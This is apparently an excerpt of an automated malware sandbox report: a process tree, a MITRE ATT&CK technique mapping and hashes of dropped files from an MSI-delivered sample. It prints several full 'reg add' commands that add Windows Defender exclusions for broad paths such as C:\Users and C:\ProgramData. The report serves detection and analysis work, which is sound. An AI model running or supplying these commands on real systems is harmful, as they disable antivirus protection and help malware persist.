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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QgbADn" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5312 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QgbADn" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2816
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4288
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5640 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5684
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4044 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵PID:4572
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:6088 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵PID:3492
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:3844 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵PID:5264
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e59a223.rbs
- Size 7KB
- SHA256 8adbe048c0ac5faa4cdfcf2892ffec7e6d676394e95e612333ed29b2a061704b
- MD5 a0ad389bffeb3ac9b48c3a5105134754
- SHA1 fa0f4a0c766933cc163915513ce82a23c16d9d5f
- SHA512 745322e3e477e008bde3fbe23025c32d6389b6cab594ffc85ee19309165c03edcaa293ff2bfae9b287433c63819597b3dbcc7bc913b7a262e6bcd3198816b13e
- SSDEEP 96:RIUrwguT7RC+U1PxYPaUUTb1CsThq5UTb1C6joXPxtThqxH6S5ivW1EVmhCKplj3:RIfCxzvIIXvIb8k4UKp1
- TLSH T153F10C42AB0096F3EF961B75C713176637B2E3D89320275F099D88601F5638C6E9A29F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\QgbADn\UxEnhance64.dll
- Size 3.1MB
- SHA256 7543012b090aa7fe576ab816aa6e4310c0e716d438208db8a6f6fddd421fbcba
- MD5 2dd446f70573e0c52d641265ae60884d
- SHA1 4826f6bb47dfc1773448a4d55e5e4036b45ad566
- SHA512 e5e0978948249b715e7128fbfbd0f051d563d1f8ab1ba74e2d3e4d035ec24c6f6605e2f7641e630a053f26a00f841f662ed6bf869677a5653fa3f10cc0c5aabe
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+9:P9m29xx3Tiqt06ox6+z2rNNrKo9
- TLSH T1C5E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\QgbADn\adoresd.dat
- Size 4.7MB
- SHA256 67242e040a5b235e8610fb9d92d0bad10a8dce3ed393bd9d97b7556b02a6608a
- MD5 ce8244f45b30209fb7404b7ba80abb94
- SHA1 e8232c670f36f77c82b6b342eb3681b911bce95c
- SHA512 6468bd80a9b3bb26af33807ca96cfbb8b16a63ab31b3b033878cbac9d74d89528f2212049ca296aefe6b674d15cae9975033bc94ea482af7884556d1c5e5212d
- SSDEEP 98304:Lmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Cu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1AA3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\QgbADn\mfDH3b.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\QgbADn\msadox.tb
- Size 8KB
- SHA256 e2eeb4d0058e7b2db55c0af963ad83af62f97b556128b3915ec6de8a71f3d2f6
- MD5 19f364ed42ea79f2aa2e8bbc402c3376
- SHA1 0ba9ee3736015214233cd224f8b434aaed142435
- SHA512 4aa55ff200d2a8bef2be03cae4255e24eac8c4e3aea9017c532451bf6182a60df0867e01eebbf1ecbf56168f92f4aabf72d765086f65f12e41c7d29a804e123d
- SSDEEP 192:LqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:LsZqZOXQ3uqvR2Kfzp
- TLSH T1D8029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIA86C.tmp
- Size 6.3MB
- SHA256 be221e82726189a2548dcf822d24fec746a1e5b0447c4bfdec2eefe28ce59a70
- MD5 904176de742f2ff0110273d80beca89d
- SHA1 8473efe73f4bb167b523f37ccccfb5a6b17a4784
- SHA512 bd59c1cf09bc0f78ab6fac0cc91deca041a381b7273aabf1e0a547a6d629f36d0a3a287ad69c64bee4475c1d05fe52c6db712005e270dc84875412e4199686c8
- SSDEEP 98304:05uZ0ZQIG3+RbmMpNo14nFa4AUsBCvVvouVf0KfJ3f5XkqiKCC77AYZHx0T:cZIMCCNbFa4AUsBCZoIfJ5QSTHx0T
- TLSH T1866633E438876730E09BC7B4A0E2297CBD363BC675B24C4EBB5E26241F671275276385
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59a222.msi
- Size 6.3MB
- SHA256 371d8aa1db65a79f5c07c9a9ba2e43564bf6b63f4aab8abe9bd72262e2f8bcc2
- MD5 9627b012eda807b35f0ffaea4930fbe8
- SHA1 c4e34ef9e0275525fc5ee22b9079aadf6efebc34
- SHA512 33ba7691e6425542b37d11c28e3f11420bc8146bfaf59f0bdb068923f598e1d7bf13d023a37aec2de155cf7c02cb8473f4d63a49f38abeeed1fe757a5684fa06
- SSDEEP 98304:G5uZ0ZQIG3+RbmMpNo14nFa4AUsBCvVvouVfCKfJ3f5XkqiKCC77AYZHx0z:+ZIMCCNbFa4AUsBCZoIfH5QSTHx0z
- TLSH T13C6633D438865730D09BC7B4A0E2296D7D393FC676B28C4EBB5E32242F772265276385
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 581be2dca6ea559b0b0fb087395f89faf105e1078cef2acc8c59683e75ba024d
- MD5 08941ed2ad842071ad2531d6a5300b92
- SHA1 e2bb0ee6ec7c97fe4c070ebcaa0a04c36e199c91
- SHA512 befdaaab77895754d593d73337c294ce48b22a2bc747e54ece786d5264dd8701d3b8477b4524c0d44b8c4eee3b68fbf197a5df2180e6993add7f92032546942a
- SSDEEP 24576:3Fo3DMPmdoO/vvTL/SwyiCFAvre45LFB0vkwN/8qUn8aZ1jS8Ih2ibYDGu0:AHA
- TLSH T1FF57B42436F92100EBF7AE3CA8F06A274D397D57AC16DE8D45511B4D0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61f8367-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{d2c3b17f-3989-4296-a987-903e49376fda}_OnDiskSnapshotProp
- Size 6KB
- SHA256 704b4abf85e022bac1222345c542997eee3f01e8df7f99d124b51d44126ed34e
- MD5 b16d77ef5998a7ce748ff6eb75505b63
- SHA1 211f8879c5c39848a74b26f411b011cd73352a44
- SHA512 15935d314b7501b7365d706960d26a53c42c2307a28f55822b3554ea3c75e32d9ad45a6fb9b134bc6689daf28eb37809e6ea9d85c6210c157a2d0b4b7a7aa907
- SSDEEP 96:F7MlAvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:xdb++uVmN
- TLSH T1C7D188185AF54711E2B3AB3169F18557A837B911FF33CB8E0198238E2631A10F975F6B
- MD5 SHA1 SHA512 SSDEEP TLSH